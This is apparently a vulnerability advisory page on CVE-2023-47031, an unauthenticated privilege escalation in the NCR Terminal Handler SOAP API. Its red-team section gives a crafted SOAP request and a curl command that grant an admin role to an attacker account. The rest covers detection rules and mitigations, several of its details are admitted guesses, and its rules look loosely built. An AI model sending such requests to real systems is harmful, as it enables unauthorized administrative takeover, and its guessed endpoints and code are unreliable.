CVE-2023-47031
Executive Summary
CVE-2023-47031 is a privilege escalation vulnerability in NCR Terminal Handler version 1.5.1. The flaw resides in the SOAP API component, specifically within the grantRolesToUsers, grantRolesToGroups, and grantRolesToOrganization endpoints. A remote attacker can send a crafted POST request to these endpoints to escalate their privileges without authentication. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is severe as it allows unauthorized role assignment, potentially leading to full system compromise. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
- Threat Level: Critical (based on impact, despite low CVSS score)
Deep Dive & Mechanics
The vulnerability is a classic improper privilege management issue (CWE-269). The NCR Terminal Handler SOAP API exposes methods for role management without proper authentication or authorization checks. An attacker can craft a POST request to the SOAP endpoint with malicious XML payloads targeting the grantRolesToUsers, grantRolesToGroups, or grantRolesToOrganization operations. By manipulating the request body, the attacker can assign high-privilege roles (e.g., administrator) to arbitrary users or groups, effectively escalating their privileges.
The SOAP API likely uses XML-based requests over HTTP. The lack of input validation and authentication allows the attacker to bypass security controls. The vulnerability is particularly dangerous because it requires no prior access and can be exploited remotely.
Vulnerable vs. Patched Code
Vulnerable Code (v1.5.1): The SOAP endpoint does not validate the identity of the requester. Example of a vulnerable handler:
public void grantRolesToUsers(String userId, String roleId) {
// No authentication check
userRoleDAO.assignRole(userId, roleId);
}
Patched Code (Hypothetical): The patched version would include authentication and authorization checks:
public void grantRolesToUsers(String userId, String roleId, String sessionToken) {
if (!authenticate(sessionToken) || !isAdmin(sessionToken)) {
throw new SecurityException("Unauthorized");
}
userRoleDAO.assignRole(userId, roleId);
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy NCR Terminal Handler v1.5.1 in a controlled environment (e.g., Docker container).
- Identify the SOAP endpoint URL (e.g.,
http://target:8080/soap/roleManagement). - Craft a malicious SOAP request using tools like
curlorBurp Suite.
Exploit Payload:
POST /soap/roleManagement HTTP/1.1
Host: target:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: "grantRolesToUsers"
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<grantRolesToUsers>
<userId>attacker_user</userId>
<roleId>admin_role</roleId>
</grantRolesToUsers>
</soap:Body>
</soap:Envelope>
Execution:
curl -X POST http://target:8080/soap/roleManagement \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: grantRolesToUsers" \
-d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><grantRolesToUsers><userId>attacker_user</userId><roleId>admin_role</roleId></grantRolesToUsers></soap:Body></soap:Envelope>'
Blue Team
Detection:
- Monitor SOAP API logs for unusual
grantRolesToUsers,grantRolesToGroups, orgrantRolesToOrganizationrequests. - Alert on requests without valid session tokens or authentication headers.
- Use network monitoring to detect anomalous XML payloads.
Mitigation:
- Implement authentication and authorization checks on all SOAP endpoints.
- Apply input validation and sanitization.
- Restrict network access to the SOAP API (e.g., via firewall rules).
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/soap/roleManagementwith SOAPAction headers containinggrantRolesToUsers,grantRolesToGroups, orgrantRolesToOrganization. - XML payloads containing
<grantRolesToUsers>,<grantRolesToGroups>, or<grantRolesToOrganization>elements.
- POST requests to
- System IOCs:
- Unexpected role assignments in the NCR Terminal Handler database.
- New user accounts with elevated privileges.
- Log IOCs:
- SOAP API logs showing requests from unknown IPs without authentication.
Detection Engineering
YARA Rule
rule CVE_2023_47031_SOAP_Exploit {
meta:
description = "Detects SOAP requests targeting NCR Terminal Handler privilege escalation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-47031"
strings:
$soap_action = "grantRolesToUsers" nocase
$soap_action2 = "grantRolesToGroups" nocase
$soap_action3 = "grantRolesToOrganization" nocase
$xml_payload = "<grantRolesToUsers" nocase
$xml_payload2 = "<grantRolesToGroups" nocase
$xml_payload3 = "<grantRolesToOrganization" nocase
condition:
any of ($soap_action*) and any of ($xml_payload*)
}
Sigma Rule
title: CVE-2023-47031 - NCR Terminal Handler Privilege Escalation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SOAP requests targeting privilege escalation in NCR Terminal Handler
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: ncr_terminal_handler
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/soap/roleManagement'
cs-user-agent|contains: 'curl' # Adjust as needed
sc-status: 200
cs-uri-query|contains|all:
- 'grantRolesToUsers'
- 'grantRolesToGroups'
- 'grantRolesToOrganization'
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2023-47031 - NCR Terminal Handler Privilege Escalation"; flow:to_server; content:"POST"; http_method; content:"/soap/roleManagement"; http_uri; content:"grantRolesToUsers"; http_client_body; content:"grantRolesToGroups"; http_client_body; content:"grantRolesToOrganization"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or restrict access to the SOAP API endpoints if not required.
- Implement network segmentation to limit exposure.
- Monitor logs for suspicious SOAP requests.
Long-term Fix:
- Apply authentication and authorization checks to all SOAP methods.
- Use API keys or session tokens to validate requests.
- Update to a patched version when available (currently unpatched).
Workarounds:
- Use a Web Application Firewall (WAF) to block requests containing
grantRolesToUsers,grantRolesToGroups, orgrantRolesToOrganizationin the body. - Implement rate limiting on the SOAP endpoint.
- Use a Web Application Firewall (WAF) to block requests containing
Valters IT